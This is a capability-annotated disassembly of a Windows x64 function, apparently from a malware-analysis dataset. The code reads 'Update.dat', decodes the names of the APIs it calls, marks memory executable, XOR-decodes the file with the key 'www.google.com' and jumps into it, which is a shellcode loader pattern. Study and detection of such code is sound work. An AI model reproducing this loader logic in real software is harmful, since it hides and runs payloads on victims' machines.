Function at 0x1800033f0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push rbx
sub rsp, 0x2b0
mov rax, qword [0x18008e008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
lea rcx, str.KernelBase.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8d, 0x104
lea rdx, [rsp + 0x90]
xor ecx, ecx
mov qword [0x18008fc10], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x90]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rax, [rsp + 0x90]
sub rax, 2
nop
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x180003450
movups xmm0, xmmword [str.Update.dat]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x2c0], rbp
lea rcx, [rsp + 0x90]
movups xmmword [rax], xmm0
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
movsd xmm0, qword [0x180088a20]
lea r8d, [r9 + 1]
movsd qword [rax + 0x10], xmm0
mov qword [rsp + 0x2d0], r14
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000370e
xor edx, edx
mov qword [rsp + 0x2c8], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x18008fc08], eax
movabs rbp, 0xa493fb6480b9077f
movabs rax, 0xe5ff9a11f4cb6e29
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x40], rax
movabs r14, 0x698546755cb94df4
mov rcx, qword [rsp + 0x40]
movabs rax, 0x698546753fd62198
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x40], rbp
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x70]
mov rcx, qword [0x18008fc10]
mov qword [rsp + 0x58], rax
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x18008fc08]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call rax
xor r9d, r9d
mov qword [0x18008fc00], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rdi, rax
test rax, rax
je 0x1800035ac
mov edx, 0x3e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [0x18008fc08]
lea r9, [rsp + 0x48]
mov rdx, qword [0x18008fc00]
mov rcx, rbx
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rdi, qword [rsp + 0x2c8]
test eax, eax
je 0x18000370e
mov eax, dword [0x18008fc08]
cmp dword [rsp + 0x48], eax
jne 0x18000370e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xf4ff9a11f4cb6e29
lea rdx, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x80], rax
movabs rax, 0x6985321639cd2286
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x40], rbp
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x80]
mov rcx, qword [0x18008fc10]
mov qword [rsp + 0x68], rax
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x18008fc08]
lea r9, [rsp + 0x4c]
mov rcx, qword [0x18008fc00]
mov r8d, 0x40
call rax
mov r8d, dword [0x18008fc08]
xor eax, eax
mov r9, qword [0x18008fc00]
test r8, r8
je 0x1800036e0
mov rdx, r9
lea r10, str.www.google.com
nop dword [rax]
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, 0xe
cmovne rcx, rax
movzx eax, byte [rcx + r10]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r8, 1
jne 0x1800036c0
call r9
mov r14, qword [rsp + 0x2d0]
xor eax, eax
mov rbp, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.180071500
add rsp, 0x2b0
pop rbx
ret
xor ecx, ecx
call fcn.180075810
int3